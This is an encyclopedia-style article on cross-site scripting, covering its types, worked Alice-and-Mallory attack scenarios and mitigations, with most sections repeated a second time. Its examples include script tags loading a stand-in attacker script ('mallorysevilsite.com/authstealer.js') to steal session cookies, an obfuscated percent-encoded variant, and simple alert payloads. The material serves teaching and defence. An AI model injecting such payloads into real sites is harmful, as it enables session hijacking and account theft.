Cross-site scripting attacks use known vulnerabilities in web-based applications, their servers, or the plug-in systems on which they rely. Exploiting one of these, attackers fold malicious content into the content being delivered from the compromised site. When the resulting combined content arrives at the client-side web browser, it has all been delivered from the trusted source, and thus operates under the permissions granted to that system. By finding ways of injecting malicious scripts into web pages, an attacker can gain elevated access-privileges to sensitive page content, to session cookies, and to a variety of other information maintained by the browser on behalf of the user. Cross-site scripting attacks are a case of code injection.

Microsoft security-engineers introduced the term «cross-site scripting» in January 2000.^[3] The expression «cross-site scripting» originally referred to the act of loading the attacked, third-party web application from an unrelated attack-site, in a manner that executes a fragment of JavaScript prepared by the attacker in the security context of the targeted domain (taking advantage of a reflected or non-persistent XSS vulnerability). The definition gradually expanded to encompass other modes of code injection, including persistent and non-JavaScript vectors (including ActiveX, Java, VBScript, Flash, or even HTML scripts), causing some confusion to newcomers to the field of information security.^[4]

XSS vulnerabilities have been reported and exploited since the 1990s. Prominent sites affected in the past include the social-networking sites Twitter^[5] and
Facebook.^[6] Cross-site scripting flaws have since surpassed buffer overflows to become the most common publicly reported security vulnerability,^[7] with some researchers in 2007 estimating as many as 68% of websites are likely open to XSS attacks.^[8]

Types[edit]

There is no single, standardized classification of cross-site scripting flaws, but most experts distinguish between at least two primary flavors of XSS flaws: non-persistent and persistent. Some sources further divide these two groups into traditional (caused by server-side code flaws) and DOM-based (in client-side code).

Non-persistent (reflected)[edit]

The non-persistent (or reflected) cross-site scripting vulnerability is by far the most basic type of web vulnerability.^[10] These holes show up when the data provided by a web client,^[11] most commonly in HTTP query parameters (e.g. HTML form submission), is used immediately by server-side scripts to parse and display a page of results for and to that user, without properly sanitizing the content.^[12]

Because HTML documents have a flat, serial structure that mixes control statements, formatting, and the actual content, any non-validated user-supplied data included in the resulting page without proper HTML encoding, may lead to markup injection.^[10][12] A classic example of a potential vector is a site search engine: if one searches for a string, the search string will typically be redisplayed verbatim on the result page to indicate what was searched for. If this response does not properly escape or reject HTML control characters, a cross-site scripting flaw will ensue.^[13]

A reflected attack is typically delivered via email or a neutral web site. The bait is an innocent-looking URL, pointing to a trusted site but containing the XSS vector. If the trusted site is vulnerable to the vector, clicking the link can cause the victim’s browser to execute the injected script.

Persistent (or stored)[edit]

The persistent (or stored) XSS vulnerability is a more devastating variant of a cross-site scripting flaw: it occurs when the data provided by the attacker is saved by the server, and then permanently displayed on «normal» pages returned to other users in the course of regular browsing, without proper HTML escaping. A classic example of this is with online message boards where users are allowed to post HTML formatted messages for other users to read.^[12]

For example, suppose there is a dating website where members scan the profiles of other members to see if they look interesting. For privacy reasons, this site hides everybody’s real name and email. These are kept secret on the server. The only time a member’s real name and email are in the browser is when the member is signed in, and they can’t see anyone else’s.

Suppose that Mallory, an attacker, joins the site and wants to figure out the real names of the people she sees on the site. To do so, she writes a script designed to run from other users’ browsers when they visit her profile. The script then sends a quick message to her own server, which collects this information.

To do this, for the question «Describe your Ideal First Date», Mallory gives a short answer (to appear normal), but the text at the end of her answer is her script to steal names and emails. If the script is enclosed inside a <script> element, it won’t be shown on the screen. Then suppose that Bob, a member of the dating site, reaches Mallory’s profile, which has her answer to the First Date question. Her script is run automatically by the browser and steals a copy of Bob’s real name and email directly from his own machine.

Persistent XSS vulnerabilities can be more significant than other types because an attacker’s malicious script is rendered automatically, without the need to individually target victims or lure them to a third-party website. Particularly in the case of social networking sites, the code would be further designed to self-propagate across accounts, creating a type of client-side worm.^[15]

The methods of injection can vary a great deal; in some cases, the attacker may not even need to directly interact with the web functionality itself to exploit such a hole. Any data received by the web application (via email, system logs, IM etc.) that can be controlled by an attacker could become an injection vector.

Server-side versus DOM-based vulnerabilities[edit]

XSS vulnerabilities were originally found in applications that performed all data processing on the server side. User input (including an XSS vector) would be sent to the server, and then sent back to the user as a web page. The need for an improved user experience resulted in popularity of applications that had a majority of the presentation logic (maybe written in JavaScript) working on the client-side that pulled data, on-demand, from the server using AJAX.

As the JavaScript code was also processing user input and rendering it in the web page content, a new sub-class of reflected XSS attacks started to appear that was called DOM-based cross-site scripting. In a DOM-based XSS attack, the malicious data does not touch the web server. Rather, it is being reflected by the JavaScript code, fully on the client side.^[17]

An example of a DOM-based XSS vulnerability is the bug found in 2011 in a number of jQuery plugins.^[18] Prevention strategies for DOM-based XSS attacks include very similar measures to traditional XSS prevention strategies but implemented in JavaScript code and contained in web pages (i.e. input validation and escaping).^[19] Some JavaScript frameworks have built-in countermeasures against this and other types of attack — for example AngularJS.^[20]

Self-XSS[edit]

Self-XSS is a form of XSS vulnerability that relies on social engineering in order to trick the victim into executing malicious JavaScript code in their browser. Although it is technically not a true XSS vulnerability due to the fact it relies on socially engineering a user into executing code rather than a flaw in the affected website allowing an attacker to do so, it still poses the same risks as a regular XSS vulnerability if properly executed.^[21]

Mutated XSS (mXSS)[edit]

Mutated XSS happens when the attacker injects something that is seemingly safe but is rewritten and modified by the browser while parsing the markup. This makes it extremely hard to detect or sanitize within the website’s application logic.
An example is rebalancing unclosed quotation marks or even adding quotation marks to unquoted parameters on parameters to CSS font-family.

Exploit examples[edit]

Attackers intending to exploit cross-site scripting vulnerabilities must approach each class of vulnerability differently. For each class, a specific attack vector is described here. The names below are technical terms, taken from the Alice-and-Bob cast of characters commonly used in computer security.
The Browser Exploitation Framework could be used to attack the web site and the user’s local environment.

Non-persistent[edit]

1. Alice often visits a particular website, which is hosted by Bob. Bob’s website allows Alice to log in with a username/password pair and stores sensitive data, such as billing information. When a user logs in, the browser keeps an Authorization Cookie, which looks like some random characters, so both computers (client and server) have a record that she’s logged in.
2. Mallory observes that Bob’s website contains a reflected XSS vulnerability:
   1. When she visits the Search page, she inputs a search term in the search box and clicks the submit button. If no results were found, the page will display the term she searched for followed by the words «not found,» and the url will be http://bobssite.org/search?q=her%20search%20term.
   2. With a normal search query, like the word «puppies«, the page simply displays «puppies not found» and the url is «http://bobssite.org/search?q=puppies» — which is perfectly normal behavior.
   3. However, when she submits an abnormal search query, like «<script>alert('xss');</script>«,
      1. An alert box appears (that says «xss»).
      2. The page displays » not found,» along with an error message with the text ‘xss’.
      3. The url is «http://bobssite.org/search?q=<script>alert('xss');</script> — which is exploitable behavior.
3. Mallory crafts a URL to exploit the vulnerability:
   1. She makes the URL http://bobssite.org/search?q=puppies<script%20src="http://mallorysevilsite.com/authstealer.js"></script>. She could choose to encode the ASCII characters with percent-encoding, such as http://bobssite.org/search?q=puppies%3Cscript%20src%3D%22http%3A%2F%2Fmallorysevilsite.com%2Fauthstealer.js%22%3E%3C%2Fscript%3E, so that human readers cannot immediately decipher the malicious URL.^[22]
   2. She sends an e-mail to some unsuspecting members of Bob’s site, saying «Check out some cute puppies!»
4. Alice gets the e-mail. She loves puppies and clicks on the link. It goes to Bob’s website to search, doesn’t find anything, and displays «puppies not found» but right in the middle, the script tag runs (it is invisible on the screen) and loads and runs Mallory’s program authstealer.js (triggering the XSS attack). Alice forgets about it.
5. The authstealer.js program runs in Alice’s browser as if it originated from Bob’s website. It grabs a copy of Alice’s Authorization Cookie and sends it to Mallory’s server, where Mallory retrieves it.
6. Mallory now puts Alice’s Authorization Cookie into her browser as if it were her own. She then goes to Bob’s site and is now logged in as Alice.
7. Now that she’s in, Mallory goes to the Billing section of the website and looks up Alice’s credit card number and grabs a copy. Then she goes and changes Alice’s account password so Alice can’t log in anymore.
8. She decides to take it a step further and sends a similarly crafted link to Bob himself, thus gaining administrator privileges to Bob’s website.

Several things could have been done to mitigate this attack:

• The search input could have been sanitized, which would include proper encoding checking.
• The web server could be set to redirect invalid requests.
• The web server could detect a simultaneous login and invalidate the sessions.
• The web server could detect a simultaneous login from two different IP addresses and invalidate the sessions.
• The website could display only the last few digits of a previously used credit card.
• The website could require users to enter their passwords again before changing their registration information.
• The website could enact various aspects of the Content Security Policy.
• Set cookie with HttpOnly flag to prevent access from JavaScript.

Persistent attack[edit]

1. Mallory gets an account on Bob’s website.
2. Mallory observes that Bob’s website contains a stored XSS vulnerability: if one goes to the News section and posts a comment, the site will display whatever is entered. If the comment text contains HTML tags, they will be added to the webpage’s source; in particular, any script tags will run when the page is loaded.
3. Mallory reads an article in the News section and enters a comment:
   I love the puppies in this story! They're so cute!<script src="http://mallorysevilsite.com/authstealer.js">
4. When Alice (or anyone else) loads the page with the comment, Mallory’s script tag runs and steals Alice’s authorization cookie, sending it to Mallory’s secret server for collection.^[22]
5. Mallory can now hijack Alice’s session and impersonate Alice.^[23][22]

Bob’s website software should have stripped out the script tag or done something to make sure it didn’t work; the security bug consists in the fact that he didn’t.

Preventive measures[edit]

Contextual output encoding/escaping of string input[edit]

There are several escaping schemes that can be used depending on where the untrusted string needs to be placed within an HTML document including HTML entity encoding, JavaScript escaping, CSS escaping, and URL (or percent) encoding.^[24] Most web applications that do not need to accept rich data can use escaping to largely eliminate the risk of XSS attacks in a fairly straightforward manner.

Performing HTML entity encoding only on the five XML significant characters is not always sufficient to prevent many forms of XSS attacks, security encoding libraries are usually easier to use.^[24]

Some web template systems understand the structure of the HTML they produce and automatically pick an appropriate encoder.^[25][26][27]

Safely validating untrusted HTML input[edit]

Many operators of particular web applications (e.g. forums and webmail) allow users to utilize a limited subset of HTML markup. When accepting HTML input from users (say, <b>very</b> large), output encoding (such as <b>very</b> large) will not suffice since the user input needs to be rendered as HTML by the browser (so it shows as «very large», instead of «<b>very</b> large»). Stopping an XSS attack when accepting HTML input from users is much more complex in this situation. Untrusted HTML input must be run through an HTML sanitization engine to ensure that it does not contain XSS code.

Many validations rely on parsing out (blacklisting) specific «at risk» HTML tags such as the following

There are several issues with this approach, for example sometimes seemingly harmless tags can be left out which when utilized correctly can still result in an XSS

(see the below example)

<img src="javascript:alert(1)">

Another popular method is to strip user input of » and ‘ however this can also be bypassed as the payload can be concealed with obfuscation (See this [1] link for an extreme example of this)

Cookie security[edit]

Besides content filtering, other imperfect methods for cross-site scripting mitigation are also commonly used. One example is the use of additional security controls when handling cookie-based user authentication. Many web applications rely on session cookies for authentication between individual HTTP requests, and because client-side scripts generally have access to these cookies, simple XSS exploits can steal these cookies.^[28] To mitigate this particular threat (though not the XSS problem in general), many web applications tie session cookies to the IP address of the user who originally logged in, then only permit that IP to use that cookie.^[29] This is effective in most situations (if an attacker is only after the cookie), but obviously breaks down in situations where an attacker is behind the same NATed IP address or web proxy as the victim, or the victim is changing his or her mobile IP.^[29]

Another mitigation present in Internet Explorer (since version 6), Firefox (since version 2.0.0.5), Safari (since version 4), Opera (since version 9.5) and Google Chrome, is an HttpOnly flag which allows a web server to set a cookie that is unavailable to client-side scripts. While beneficial, the feature can neither fully prevent cookie theft nor prevent attacks within the browser.^[30]

Disabling scripts[edit]

While Web 2.0 and Ajax developers require the use of JavaScript,^[31] some web applications are written to allow operation without the need for any client-side scripts.^[32] This allows users, if they choose, to disable scripting in their browsers before using the application. In this way, even potentially malicious client-side scripts could be inserted unescaped on a page, and users would not be susceptible to XSS attacks.

Some browsers or browser plugins can be configured to disable client-side scripts on a per-domain basis. This approach is of limited value if scripting is allowed by default, since it blocks bad sites only after the user knows that they are bad, which is too late. Functionality that blocks all scripting and external inclusions by default and then allows the user to enable it on a per-domain basis is more effective. This has been possible for a long time in Internet Explorer (since version 4) by setting up its so called «Security Zones»,^[33] and in Opera (since version 9) using its «Site Specific Preferences».^[34] A solution for Firefox and other Gecko-based browsers is the open source NoScript add-on which, in addition to the ability to enable scripts on a per-domain basis, provides some XSS protection even when scripts are enabled.^[35]

The most significant problem with blocking all scripts on all websites by default is substantial reduction in functionality and responsiveness (client-side scripting can be much faster than server-side scripting because it does not need to connect to a remote server and the page or frame does not need to be reloaded).^[36] Another problem with script blocking is that many users do not understand it, and do not know how to properly secure their browsers. Yet another drawback is that many sites do not work without client-side scripting, forcing users to disable protection for that site and opening their systems to vulnerabilities.^[37] The Firefox NoScript extension enables users to allow scripts selectively from a given page while disallowing others on the same page. For example, scripts from example.com could be allowed, while scripts from advertisingagency.com that are attempting to run on the same page could be disallowed.^[38]

Selectively disabling scripts[edit]

Content Security Policy^[39] (CSP) allows HTML documents to opt in to disabling some scripts while leaving others enabled.  The browser checks each script against a policy before deciding whether to run it. As long as the policy only allows trustworthy scripts and disallows dynamic code loading, the browser will not run programs from untrusted authors regardless of the HTML document’s structure.

This shifts the security burden to policy authors.  Studies^[40] have cast doubt on the efficacy of host whitelist based policies.

In total, we find that 94.68% of policies that attempt to limit script execution are ineffective, and that 99.34% of hosts with CSP use policies that offer no benefit against XSS.

Modern^[41] CSP policies allow using nonces^[42] to mark scripts in the HTML document as safe to run instead of keeping the policy entirely separate from the page content.  As long as trusted nonces only appear on trustworthy scripts, the browser will not run programs from untrusted authors. Some large application providers report having successfully deployed nonce-based policies.^[43][44]

Emerging defensive technologies[edit]

The popularity of client-side frameworks has changed how attackers craft XSS.^[45]

Script gadgets are legitimate JavaScript fragments within an application’s legitimate code base … We demonstrate that these gadgets are omnipresent in almost all modern JavaScript frameworks and present an empirical study showing the prevalence of script gadgets in productive code. As a result, we assume most mitigation techniques in web applications written today can be bypassed.

Trusted types^[46] changes Web APIs to check that values have been trademarked as trusted.  As long as programs only trademark trustworthy values, an attacker who controls a JavaScript string value cannot cause XSS.  Trusted types are designed to be auditable by blue teams.

Another defense approach is to use automated tools that will remove XSS malicious code in web pages, these tools use static analysis and/or pattern matching methods to identify malicious codes potentially and secure them using methods like escaping.^[47]

SameSite cookie parameter[edit]

When a cookie is set with the SameSite=Strict parameter, it is stripped from all cross-origin requests. When set with SameSite=Lax, it is stripped from all non-«safe» cross-origin requests (that is, requests other than GET, OPTIONS, and TRACE which have read-only semantics).^[48] The feature is implemented in Google Chrome since version 63 and Firefox since version 60.^[49]

[edit]

In a Universal Cross-Site Scripting (UXSS, or Universal XSS) attack, vulnerabilities in the browser itself or in the browser plugins are exploited (rather than vulnerabilities in other websites, as is the case with XSS attacks).^[50][51]

Several classes of vulnerabilities or attack techniques are related to XSS: cross-zone scripting exploits «zone» concepts in certain browsers and usually executes code with a greater privilege.^[52][53] HTTP header injection can be used to create cross-site scripting conditions due to escaping problems on HTTP protocol level (in addition to enabling attacks such as HTTP response splitting).^[54]

Cross-site request forgery (CSRF/XSRF) is almost the opposite of XSS, in that rather than exploiting the user’s trust in a site, the attacker (and his malicious page) exploits the site’s trust in the client software, submitting requests that the site believes represent conscious and intentional actions of authenticated users.^[55] XSS vulnerabilities (even in other applications running on the same domain) allow attackers to bypass CSRF prevention efforts.^[56]

Covert Redirection takes advantage of third-party clients susceptible to XSS or Open Redirect attacks.^[57] Normal phishing attempts can be easy to spot, because the malicious page’s URL will usually be off by a couple of letters from that of the real site. The difference with Covert Redirection is that an attacker could use the real website instead by corrupting the site with a malicious login pop-up dialogue box.^[58]

Lastly, SQL injection exploits a vulnerability in the database layer of an application. When user input is incorrectly filtered, any SQL statements can be executed by the application.^[59][60]

See also[edit]

• Web application security
• Internet security
• XML external entity
• Browser security
• Metasploit Project, an open-source penetration testing tool that includes tests for XSS
• w3af, an open-source web application security scanner
• DOMPurify, a free and open source code library by Cure53 to reduce susceptibility to XSS vulnerabilities in websites.
• Cross-document messaging
• Samy (computer worm)
• Parameter validation

References[edit]

Further reading[edit]

• MacKenzie, Thomas. «ScriptAlert1.com – Concise Cross-Site Scripting Explanation in Multiple Languages». Retrieved October 24, 2015.
• «Preventing XSS in ASP.NET Made Easy». Lock Me Down | Security for the Everyday Developer. February 6, 2015. Retrieved October 24, 2015.
• «Cross Site Scripting». The Web Application Security Consortium. October 13, 2005. Retrieved October 24, 2015.

External links[edit]

• OWASP: XSS, Testing for XSS, Reviewing Code for XSS
• XSSed: Database of Websites Vulnerable to Cross-Site Scripting Attacks

Cross-site scripting (XSS) is a type of security vulnerability that can be found in some web applications. XSS attacks enable attackers to inject client-side scripts into web pages viewed by other users. A cross-site scripting vulnerability may be used by attackers to bypass access controls such as the same-origin policy. Cross-site scripting carried out on websites accounted for roughly 84% of all security vulnerabilities documented by Symantec up until 2007.^[1] XSS effects vary in
range from petty nuisance to significant security risk, depending on the sensitivity of the data handled by the vulnerable site and the nature of any security mitigation implemented by the site’s owner network.

Background[edit]

Security on the web depends on a variety of mechanisms, including an underlying concept of trust known as the same-origin policy. This essentially states that if content from one site (such as https://mybank.example1.com) is granted permission to access resources (like cookies etc.) on a web browser, then content from any URL with the same (1) URI scheme, (2) host name, and (3) port number will share these permissions. Content from URLs where any of these three attributes are different will have to be granted permissions separately.^[2]

Cross-site scripting attacks use known vulnerabilities in web-based applications, their servers, or the plug-in systems on which they rely. Exploiting one of these, attackers fold malicious content into the content being delivered from the compromised site. When the resulting combined content arrives at the client-side web browser, it has all been delivered from the trusted source, and thus operates under the permissions granted to that system. By finding ways of injecting malicious scripts into web pages, an attacker can gain elevated access-privileges to sensitive page content, to session cookies, and to a variety of other information maintained by the browser on behalf of the user. Cross-site scripting attacks are a case of code injection.

Microsoft security-engineers introduced the term «cross-site scripting» in January 2000.^[3] The expression «cross-site scripting» originally referred to the act of loading the attacked, third-party web application from an unrelated attack-site, in a manner that executes a fragment of JavaScript prepared by the attacker in the security context of the targeted domain (taking advantage of a reflected or non-persistent XSS vulnerability). The definition gradually expanded to encompass other modes of code injection, including persistent and non-JavaScript vectors (including ActiveX, Java, VBScript, Flash, or even HTML scripts), causing some confusion to newcomers to the field of information security.^[4]

XSS vulnerabilities have been reported and exploited since the 1990s. Prominent sites affected in the past include the social-networking sites Twitter^[5] and
Facebook.^[6] Cross-site scripting flaws have since surpassed buffer overflows to become the most common publicly reported security vulnerability,^[7] with some researchers in 2007 estimating as many as 68% of websites are likely open to XSS attacks.^[8]

Types[edit]

There is no single, standardized classification of cross-site scripting flaws, but most experts distinguish between at least two primary flavors of XSS flaws: non-persistent and persistent. Some sources further divide these two groups into traditional (caused by server-side code flaws) and DOM-based (in client-side code).

Non-persistent (reflected)[edit]

The non-persistent (or reflected) cross-site scripting vulnerability is by far the most basic type of web vulnerability.^[10] These holes show up when the data provided by a web client,^[11] most commonly in HTTP query parameters (e.g. HTML form submission), is used immediately by server-side scripts to parse and display a page of results for and to that user, without properly sanitizing the content.^[12]

Because HTML documents have a flat, serial structure that mixes control statements, formatting, and the actual content, any non-validated user-supplied data included in the resulting page without proper HTML encoding, may lead to markup injection.^[10][12] A classic example of a potential vector is a site search engine: if one searches for a string, the search string will typically be redisplayed verbatim on the result page to indicate what was searched for. If this response does not properly escape or reject HTML control characters, a cross-site scripting flaw will ensue.^[13]

A reflected attack is typically delivered via email or a neutral web site. The bait is an innocent-looking URL, pointing to a trusted site but containing the XSS vector. If the trusted site is vulnerable to the vector, clicking the link can cause the victim’s browser to execute the injected script.

Persistent (or stored)[edit]

The persistent (or stored) XSS vulnerability is a more devastating variant of a cross-site scripting flaw: it occurs when the data provided by the attacker is saved by the server, and then permanently displayed on «normal» pages returned to other users in the course of regular browsing, without proper HTML escaping. A classic example of this is with online message boards where users are allowed to post HTML formatted messages for other users to read.^[12]

For example, suppose there is a dating website where members scan the profiles of other members to see if they look interesting. For privacy reasons, this site hides everybody’s real name and email. These are kept secret on the server. The only time a member’s real name and email are in the browser is when the member is signed in, and they can’t see anyone else’s.

Suppose that Mallory, an attacker, joins the site and wants to figure out the real names of the people she sees on the site. To do so, she writes a script designed to run from other users’ browsers when they visit her profile. The script then sends a quick message to her own server, which collects this information.

To do this, for the question «Describe your Ideal First Date», Mallory gives a short answer (to appear normal), but the text at the end of her answer is her script to steal names and emails. If the script is enclosed inside a <script> element, it won’t be shown on the screen. Then suppose that Bob, a member of the dating site, reaches Mallory’s profile, which has her answer to the First Date question. Her script is run automatically by the browser and steals a copy of Bob’s real name and email directly from his own machine.

Persistent XSS vulnerabilities can be more significant than other types because an attacker’s malicious script is rendered automatically, without the need to individually target victims or lure them to a third-party website. Particularly in the case of social networking sites, the code would be further designed to self-propagate across accounts, creating a type of client-side worm.^[15]

The methods of injection can vary a great deal; in some cases, the attacker may not even need to directly interact with the web functionality itself to exploit such a hole. Any data received by the web application (via email, system logs, IM etc.) that can be controlled by an attacker could become an injection vector.

Server-side versus DOM-based vulnerabilities[edit]

XSS vulnerabilities were originally found in applications that performed all data processing on the server side. User input (including an XSS vector) would be sent to the server, and then sent back to the user as a web page. The need for an improved user experience resulted in popularity of applications that had a majority of the presentation logic (maybe written in JavaScript) working on the client-side that pulled data, on-demand, from the server using AJAX.

As the JavaScript code was also processing user input and rendering it in the web page content, a new sub-class of reflected XSS attacks started to appear that was called DOM-based cross-site scripting. In a DOM-based XSS attack, the malicious data does not touch the web server. Rather, it is being reflected by the JavaScript code, fully on the client side.^[17]

An example of a DOM-based XSS vulnerability is the bug found in 2011 in a number of jQuery plugins.^[18] Prevention strategies for DOM-based XSS attacks include very similar measures to traditional XSS prevention strategies but implemented in JavaScript code and contained in web pages (i.e. input validation and escaping).^[19] Some JavaScript frameworks have built-in countermeasures against this and other types of attack — for example AngularJS.^[20]

Self-XSS[edit]

Self-XSS is a form of XSS vulnerability that relies on social engineering in order to trick the victim into executing malicious JavaScript code in their browser. Although it is technically not a true XSS vulnerability due to the fact it relies on socially engineering a user into executing code rather than a flaw in the affected website allowing an attacker to do so, it still poses the same risks as a regular XSS vulnerability if properly executed.^[21]

Mutated XSS (mXSS)[edit]

Mutated XSS happens when the attacker injects something that is seemingly safe but is rewritten and modified by the browser while parsing the markup. This makes it extremely hard to detect or sanitize within the website’s application logic.
An example is rebalancing unclosed quotation marks or even adding quotation marks to unquoted parameters on parameters to CSS font-family.

Exploit examples[edit]

Attackers intending to exploit cross-site scripting vulnerabilities must approach each class of vulnerability differently. For each class, a specific attack vector is described here. The names below are technical terms, taken from the Alice-and-Bob cast of characters commonly used in computer security.
The Browser Exploitation Framework could be used to attack the web site and the user’s local environment.

Non-persistent[edit]

1. Alice often visits a particular website, which is hosted by Bob. Bob’s website allows Alice to log in with a username/password pair and stores sensitive data, such as billing information. When a user logs in, the browser keeps an Authorization Cookie, which looks like some random characters, so both computers (client and server) have a record that she’s logged in.
2. Mallory observes that Bob’s website contains a reflected XSS vulnerability:
   1. When she visits the Search page, she inputs a search term in the search box and clicks the submit button. If no results were found, the page will display the term she searched for followed by the words «not found,» and the url will be http://bobssite.org/search?q=her%20search%20term.
   2. With a normal search query, like the word «puppies«, the page simply displays «puppies not found» and the url is «http://bobssite.org/search?q=puppies» — which is perfectly normal behavior.
   3. However, when she submits an abnormal search query, like «<script>alert('xss');</script>«,
      1. An alert box appears (that says «xss»).
      2. The page displays » not found,» along with an error message with the text ‘xss’.
      3. The url is «http://bobssite.org/search?q=<script>alert('xss');</script> — which is exploitable behavior.
3. Mallory crafts a URL to exploit the vulnerability:
   1. She makes the URL http://bobssite.org/search?q=puppies<script%20src="http://mallorysevilsite.com/authstealer.js"></script>. She could choose to encode the ASCII characters with percent-encoding, such as http://bobssite.org/search?q=puppies%3Cscript%20src%3D%22http%3A%2F%2Fmallorysevilsite.com%2Fauthstealer.js%22%3E%3C%2Fscript%3E, so that human readers cannot immediately decipher the malicious URL.^[22]
   2. She sends an e-mail to some unsuspecting members of Bob’s site, saying «Check out some cute puppies!»
4. Alice gets the e-mail. She loves puppies and clicks on the link. It goes to Bob’s website to search, doesn’t find anything, and displays «puppies not found» but right in the middle, the script tag runs (it is invisible on the screen) and loads and runs Mallory’s program authstealer.js (triggering the XSS attack). Alice forgets about it.
5. The authstealer.js program runs in Alice’s browser as if it originated from Bob’s website. It grabs a copy of Alice’s Authorization Cookie and sends it to Mallory’s server, where Mallory retrieves it.
6. Mallory now puts Alice’s Authorization Cookie into her browser as if it were her own. She then goes to Bob’s site and is now logged in as Alice.
7. Now that she’s in, Mallory goes to the Billing section of the website and looks up Alice’s credit card number and grabs a copy. Then she goes and changes Alice’s account password so Alice can’t log in anymore.
8. She decides to take it a step further and sends a similarly crafted link to Bob himself, thus gaining administrator privileges to Bob’s website.

Several things could have been done to mitigate this attack:

• The search input could have been sanitized, which would include proper encoding checking.
• The web server could be set to redirect invalid requests.
• The web server could detect a simultaneous login and invalidate the sessions.
• The web server could detect a simultaneous login from two different IP addresses and invalidate the sessions.
• The website could display only the last few digits of a previously used credit card.
• The website could require users to enter their passwords again before changing their registration information.
• The website could enact various aspects of the Content Security Policy.
• Set cookie with HttpOnly flag to prevent access from JavaScript.

Persistent attack[edit]

1. Mallory gets an account on Bob’s website.
2. Mallory observes that Bob’s website contains a stored XSS vulnerability: if one goes to the News section and posts a comment, the site will display whatever is entered. If the comment text contains HTML tags, they will be added to the webpage’s source; in particular, any script tags will run when the page is loaded.
3. Mallory reads an article in the News section and enters a comment:
   I love the puppies in this story! They're so cute!<script src="http://mallorysevilsite.com/authstealer.js">
4. When Alice (or anyone else) loads the page with the comment, Mallory’s script tag runs and steals Alice’s authorization cookie, sending it to Mallory’s secret server for collection.^[22]
5. Mallory can now hijack Alice’s session and impersonate Alice.^[23][22]

Bob’s website software should have stripped out the script tag or done something to make sure it didn’t work; the security bug consists in the fact that he didn’t.

Preventive measures[edit]

Contextual output encoding/escaping of string input[edit]

There are several escaping schemes that can be used depending on where the untrusted string needs to be placed within an HTML document including HTML entity encoding, JavaScript escaping, CSS escaping, and URL (or percent) encoding.^[24] Most web applications that do not need to accept rich data can use escaping to largely eliminate the risk of XSS attacks in a fairly straightforward manner.

Performing HTML entity encoding only on the five XML significant characters is not always sufficient to prevent many forms of XSS attacks, security encoding libraries are usually easier to use.^[24]

Some web template systems understand the structure of the HTML they produce and automatically pick an appropriate encoder.^[25][26][27]

Safely validating untrusted HTML input[edit]

Many operators of particular web applications (e.g. forums and webmail) allow users to utilize a limited subset of HTML markup. When accepting HTML input from users (say, <b>very</b> large), output encoding (such as <b>very</b> large) will not suffice since the user input needs to be rendered as HTML by the browser (so it shows as «very large», instead of «<b>very</b> large»). Stopping an XSS attack when accepting HTML input from users is much more complex in this situation. Untrusted HTML input must be run through an HTML sanitization engine to ensure that it does not contain XSS code.

Many validations rely on parsing out (blacklisting) specific «at risk» HTML tags such as the following

There are several issues with this approach, for example sometimes seemingly harmless tags can be left out which when utilized correctly can still result in an XSS

(see the below example)

<img src="javascript:alert(1)">

Another popular method is to strip user input of » and ‘ however this can also be bypassed as the payload can be concealed with obfuscation (See this [1] link for an extreme example of this)

Cookie security[edit]

Besides content filtering, other imperfect methods for cross-site scripting mitigation are also commonly used. One example is the use of additional security controls when handling cookie-based user authentication. Many web applications rely on session cookies for authentication between individual HTTP requests, and because client-side scripts generally have access to these cookies, simple XSS exploits can steal these cookies.^[28] To mitigate this particular threat (though not the XSS problem in general), many web applications tie session cookies to the IP address of the user who originally logged in, then only permit that IP to use that cookie.^[29] This is effective in most situations (if an attacker is only after the cookie), but obviously breaks down in situations where an attacker is behind the same NATed IP address or web proxy as the victim, or the victim is changing his or her mobile IP.^[29]

Another mitigation present in Internet Explorer (since version 6), Firefox (since version 2.0.0.5), Safari (since version 4), Opera (since version 9.5) and Google Chrome, is an HttpOnly flag which allows a web server to set a cookie that is unavailable to client-side scripts. While beneficial, the feature can neither fully prevent cookie theft nor prevent attacks within the browser.^[30]

Disabling scripts[edit]

While Web 2.0 and Ajax developers require the use of JavaScript,^[31] some web applications are written to allow operation without the need for any client-side scripts.^[32] This allows users, if they choose, to disable scripting in their browsers before using the application. In this way, even potentially malicious client-side scripts could be inserted unescaped on a page, and users would not be susceptible to XSS attacks.

Some browsers or browser plugins can be configured to disable client-side scripts on a per-domain basis. This approach is of limited value if scripting is allowed by default, since it blocks bad sites only after the user knows that they are bad, which is too late. Functionality that blocks all scripting and external inclusions by default and then allows the user to enable it on a per-domain basis is more effective. This has been possible for a long time in Internet Explorer (since version 4) by setting up its so called «Security Zones»,^[33] and in Opera (since version 9) using its «Site Specific Preferences».^[34] A solution for Firefox and other Gecko-based browsers is the open source NoScript add-on which, in addition to the ability to enable scripts on a per-domain basis, provides some XSS protection even when scripts are enabled.^[35]

The most significant problem with blocking all scripts on all websites by default is substantial reduction in functionality and responsiveness (client-side scripting can be much faster than server-side scripting because it does not need to connect to a remote server and the page or frame does not need to be reloaded).^[36] Another problem with script blocking is that many users do not understand it, and do not know how to properly secure their browsers. Yet another drawback is that many sites do not work without client-side scripting, forcing users to disable protection for that site and opening their systems to vulnerabilities.^[37] The Firefox NoScript extension enables users to allow scripts selectively from a given page while disallowing others on the same page. For example, scripts from example.com could be allowed, while scripts from advertisingagency.com that are attempting to run on the same page could be disallowed.^[38]

Selectively disabling scripts[edit]

Content Security Policy^[39] (CSP) allows HTML documents to opt in to disabling some scripts while leaving others enabled.  The browser checks each script against a policy before deciding whether to run it. As long as the policy only allows trustworthy scripts and disallows dynamic code loading, the browser will not run programs from untrusted authors regardless of the HTML document’s structure.

This shifts the security burden to policy authors.  Studies^[40] have cast doubt on the efficacy of host whitelist based policies.

In total, we find that 94.68% of policies that attempt to limit script execution are ineffective, and that 99.34% of hosts with CSP use policies that offer no benefit against XSS.

Modern^[41] CSP policies allow using nonces^[42] to mark scripts in the HTML document as safe to run instead of keeping the policy entirely separate from the page content.  As long as trusted nonces only appear on trustworthy scripts, the browser will not run programs from untrusted authors. Some large application providers report having successfully deployed nonce-based policies.^[43][44]

Emerging defensive technologies[edit]

The popularity of client-side frameworks has changed how attackers craft XSS.^[45]

Script gadgets are legitimate JavaScript fragments within an application’s legitimate code base … We demonstrate that these gadgets are omnipresent in almost all modern JavaScript frameworks and present an empirical study showing the prevalence of script gadgets in productive code. As a result, we assume most mitigation techniques in web applications written today can be bypassed.

Trusted types^[46] changes Web APIs to check that values have been trademarked as trusted.  As long as programs only trademark trustworthy values, an attacker who controls a JavaScript string value cannot cause XSS.  Trusted types are designed to be auditable by blue teams.

